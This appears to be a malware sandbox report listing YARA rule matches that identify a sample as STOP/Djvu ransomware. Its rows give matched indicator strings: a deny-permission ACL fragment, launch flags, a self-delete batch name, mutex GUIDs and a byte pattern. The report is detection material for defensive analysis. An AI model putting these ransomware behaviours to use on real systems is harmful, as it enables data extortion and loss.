0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
